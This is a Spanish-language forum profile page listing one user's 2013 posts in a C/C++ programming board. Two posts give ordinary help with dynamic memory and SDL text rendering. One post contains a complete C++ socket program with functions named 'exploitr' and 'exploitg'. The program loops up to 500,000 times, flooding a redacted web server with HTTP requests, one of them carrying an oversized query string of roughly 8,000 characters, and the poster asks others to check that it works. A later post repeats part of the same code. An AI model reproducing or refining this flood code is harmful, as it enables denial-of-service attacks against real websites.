|
Mostrar Mensajes
|
Páginas: 1 2 3 4 [5] 6 7 8 9
|
41
|
Programación / Programación C/C++ / Re: Ayuda con ciclo for C++
|
en: 10 Mayo 2013, 03:39 am
|
Escalar::Escalar(int s) { S=s; vectorV[S]; vectorW[S]; } No puedes realizar este tipo de cosas.. Si quieres usar arrays de forma dinamica dimensionados por el usuario ,deberas utilizar asignación dinamica de memoria, en c++ , tienes el operador new , y delete para asignar y liberar respectivamente, y en C tienes las funciones malloc,calloc, realloc y free . tu clase modificada mas o menos quedaría.. class Escalar { private: double *vectorV; double *vectorW; int S;
public: Escalar(); Escalar(int s); ~Escalar(); void setS(int s); int getS(); double llenarvectores(); double CalcularEscalar();
};
Fijate, la declaración de vectorV y vectorWEquitativamente, tu constructor va a iniciar tus punteros reservando memoria según la cantidad de datos que el usuario pidio..Escalar::Escalar(int s) { S=s; vectorV=new double[s]; vectorW=new double[s];
} Y por ultimo,no estoy muy familiarizado con la poo , pero creería que tu destructor , tendría que borrar la memoria reservada , antes que se termine el ámbito de los punteros . Esto se hace con delete vectorV[]; ( ejemplo borrando memoria reservada para vectorV ) Saludos , espero a ver sido claro y a verte ayudado .
|
|
|
46
|
Programación / Programación C/C++ / Re: TTF con integer en SDL
|
en: 7 Mayo 2013, 19:35 pm
|
La función que renderiza el texto esta diseñada para guardar en una superficie ,"texto" que luego se va a blitear en pantalla..
puedes probar utilizar caracteres como números para luego blitearlos,no se si se podrá guardar en la superficie con ttf un integer.
PD : Si el programa se cierra de esa forma como indicias, y si sacas la linea funciona perfectamente , esto indica , que esa linea esta haciendo una violación de memoria
salu2
|
|
|
47
|
Programación / Programación C/C++ / Re: Socket en c , peticiones http .
|
en: 7 Mayo 2013, 07:14 am
|
Si alguien tiene tiempo , estoy tratando de hacer un programa que envie cabeceras masivas http preparadas de antemano ... si alguien tiene un poco de tiempo y revisa mi codigo, que me diga si las cabeceras se envian de la forma que quiero.. La forma que quiero es que haga una peticion GET al archivo get.php y al ranking.. ese archivo tiene una variable aA donde se ingresan datos, y ingreso una cadena de 8000 caracteres este programa enviaria masivamente esa cabecera con esos caracteres ? alguien puede fijarse. ? #include <iostream> #include <stdio.h> #include <cstring> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #define PUERTO 80
using namespace std; struct sockaddr_in config; //longitudes de cadenas void exploitr(); void exploitg();
int longitudp1; //longitud peticion1 int longitudp2; //longitud peticion2 int longitudp3; //longitud peticion3 int longitudp4; //longitud cadena al get.php int contador; //contador cuantas veces se va a mandar los paquetes. //
//peticiones const char *peticion1="GET /index.php?page_id=rankings HTTP/1.1\r\n"; const char *peticion2="HOST: xxxx\r\n"; const char *peticion3="Connection: keep-alive\r\n\r\n"; const char *peticion4="GET /get.php?aA=pphamtomhamphaphamtompmtomphaphamtophmamtophamtommmmtomphpphamtomphamtomphamtomphamtomphamtomhamphamtomtomphamtophamtommaphamtophphamtomamtommphamtommphamtphamtomomtomphpphamtomphamtomphphamtophamphamtomtomphamtommamphphamtomamtophamtommtomphamtphamtomphaphamtommtomomppphamtomhamtphamtomomhamtompphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomamtomphamphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtompphamtomphamtomphamtophamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomaphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphaphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtom HTTP/1.1\r\n";
// int main() { //configuracion config.sin_family=AF_INET; config.sin_port=htons(PUERTO); config.sin_addr.s_addr=inet_addr("xxxx"); //
do { exploitr(); exploitg(); }while(contador<500000);
return 0; }
//comienza funcion exploit al ranking void exploitr() {
longitudp1=strlen(peticion1); longitudp2=strlen(peticion2); longitudp3=strlen(peticion3);
int n; int *p; p=new int; *p=socket(AF_INET,SOCK_STREAM,0); connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));
//Flood al ranking.. n=send(*p,peticion1,sizeof(peticion1)+longitudp1,0); if(n<0) { cout<<"No enviado - Servidor no acepta envios. RANKING"<<endl; } else { cout<<"Floading ... Cabeseras enviadas - OK RANKING"<<endl; n=-1;
}
n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0); if(n<0) { cout<<"No enviado - Servidor no acepta envios."<<endl; } else { cout<<"Floading ... Cabeseras enviadas HOST - OK"<<endl; n=-1;
} n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0); if(n<0) { cout<<"No enviado - Servidor no acepta envios."<<endl; } else { cout<<"Floading ... Cabeseras enviadas Connection - OK"<<endl; n=-1;
}
cout<<"--------------------"<<endl;
delete []p;
return ; }
//comienza funcion exploit al get void exploitg() {
longitudp2=strlen(peticion2); longitudp3=strlen(peticion3); longitudp4=strlen(peticion4); int n; int *p; p=new int; *p=socket(AF_INET,SOCK_STREAM,0); connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));
n=send(*p,peticion4,sizeof(peticion4)+longitudp4,0); if(n<0) { cout<<"No enviado - Servidor no acepta envios."<<endl; } else { cout<<"Floading ... Cabeseras enviadas GET.PHP- OK "<<endl; n=-1;
}
n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0); if(n<0) { cout<<"No enviado - Servidor no acepta envios."<<endl; } else { cout<<"Floading ... Cabeseras enviadas HOST - OK"<<endl; n=-1;
}
n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0); if(n<0) { cout<<"No enviado - Servidor no acepta envios."<<endl; } else { cout<<"Floading ... Cabeseras enviadas CONECTION - OK"<<endl; n=-1;
}
}
//fin del programa
|
|
|
48
|
Programación / Programación C/C++ / Socket en c , peticiones http .
|
en: 7 Mayo 2013, 05:27 am
|
Hola, quisiera saber si esto deberia de funcionar!! Estas son mis peticiones que luego envio por send const char *peticion2="GET /get.php?aA=juan HTTP/1.1 \r\n"; const char * host="HOST: xxx.com\r\n"; const char *peticion3="Connection: keep-alive\r\n\r\n";
send(musocket[i],peticion2,sizeof(peticion2)+longp2,0); send(musocket[i],host,sizeof(host)+longhost,0); send(musocket[i],peticion3,sizeof(peticion3)+longp3,0); LLegaria bien la peticion http al servidor,estoy haciendo bien las cosas ?? , las variables long son la longitud de cadena de las constantes char.. , y el arreglo musocket,son socket conectados a un servidor web por el puerto 80 .. gracias de antemano.
|
|
|
|
|
|
|